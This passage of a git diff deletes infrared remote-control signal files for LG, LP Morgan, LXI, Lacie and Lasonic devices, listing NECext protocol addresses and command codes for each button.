00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: q.view -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: av-mode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: q.manu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: xstudio -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7C 00 00 00 -# -name: simplink -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B1 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir deleted file mode 100644 index f09fbaa2c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: X_KEY_INPUTSOURCE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: X_KEY_QUICKVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: X_KEY_RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: X_KEY_AVMODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: X_KEY_QUICKMENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: X_KEY_XSTUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7C 00 00 00 -# -name: X_KEY_SMPLINK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: X_KEY_ENERGYSAVING -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B1 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir deleted file mode 100644 index f7141ff6e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: Operate -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: I(Menu) -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: C.Lock -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 3F 00 00 00 -# -name: VISS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: Hidden3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: Hidden1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: CL/CT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: A.TRK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5F 00 00 00 -# -name: Hidden2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 74 00 00 00 -# -name: Hidden4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 76 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 -# -name: Hidden5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: C2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir deleted file mode 100644 index 400090a8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EVEN_-_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ODD_-_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: EVEN_-_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: ODD_-_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: EVEN_-_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: ODD_-_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir deleted file mode 100644 index 5dfa91019..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: FINE_TUNING_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: FINE_TUNING_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: CLOCK/TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: PICTURE_RESET -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: AUTO_PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: ADD/DEL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir deleted file mode 100644 index 4a6b5c73a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: movie -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: file -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: sync-left -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: sync-right -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: scroll -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 48 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 49 00 00 00 -# -name: bookmark -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 4A 00 00 00 -# -name: tv-out -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir deleted file mode 100644 index e23015c57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 26 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 3E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 4C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 56 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 5C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 64 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 66 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 7C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 7E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 8C 00 00 00 -# -name: X_KEY_SETTINGS -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 94 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: A4 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: A4 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: AC 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: B4 00 00 00 -# -name: X_KEY_SHUTDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: C4 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir deleted file mode 100644 index 68a62d61a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_3D -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: AtoB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: ClrShift -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1F 00 00 00 -# -name: Arrow_left -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: Arrow_right -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: SlowForward -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: Arrow_up -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SlowBackward -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: FastBackward -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: Mark -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 59 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: Arrow_down -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5D 00 00 00 -# -name: Karaoke -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5F 00 00 00 diff --git 